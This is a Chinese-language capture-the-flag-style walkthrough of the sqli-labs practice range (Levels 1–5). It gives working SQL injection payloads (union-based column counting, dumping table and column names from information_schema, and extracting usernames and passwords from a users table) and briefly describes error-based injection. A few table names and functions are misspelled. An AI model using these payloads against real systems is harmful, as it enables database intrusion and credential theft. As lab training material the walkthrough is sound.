一、靶场搭建
将压缩包放置根目录下,找到sqil-connections并打开db-creds.inc
二、靶场通关
Less-1
判断sql语句是字符型还是数值型
输入?id=1' 报错
输入?id=1' --+ 正常回显(--+为注释符)
union联合注入
先判断后台数据库表中的列数,取三或三以内的值时,不报错;超过三之后就报错;说明表有三列
?id=1' order by 3 --+
通过union查询爆出页面中显示字段的位置,发现2和3列分别会显示在name和password上,想要执行union后面的语句,前面必须让其执行错误,因此将1改为-1
?id=-1' union select 1,2,3 --+
通过mysql函数获得数据库及其版本号
通过group_concat函数爆表名;
information_schema.tables表示元数据下的tables表
where+条件
group_concat(table_name)表示将查询到的结果连接起来
payload的意思是:查询information)_schema数据库下的tables表且tables_schema字段内容是security的所有table_name的内容
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
我们发现security库中有四个表,users表中有可能存放用户登陆的账号和密码
从元数据库中爆users表的字段名,发现users表的三个字段
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columas where table_name='users' --+
通过group_concat函数进行拼接;其中0x7e是波浪号用来分割username和password的数据
?id=-1' union select 1,2,group_concat(username,0x7e,password) from users --+
Less-2
通过单引号测试发现是数值型
和第一关同理
Less-3
通过单引号注入的错误回显,发现后台数据通过')来闭合
剩下的流程同理
Less-4
通过反斜杠注入的错误回显,发现通过")闭合
其余的同理
Less-5
第五关虽然是字符型,但是和前面四关不一样,因为页面只显示请求的对错,这个时候我们用联合注入就没有用,因为联合注入是需要页面有回显位。
如果数据只有对错页面显示,我们可以选择报错注入
和上面一样判断出为字符型注入,且字段数3
通过updatexm报错注入得到数据库名称
通过concat函数,得到所有表名
获取列名
构造查询语句,获取第一个用户名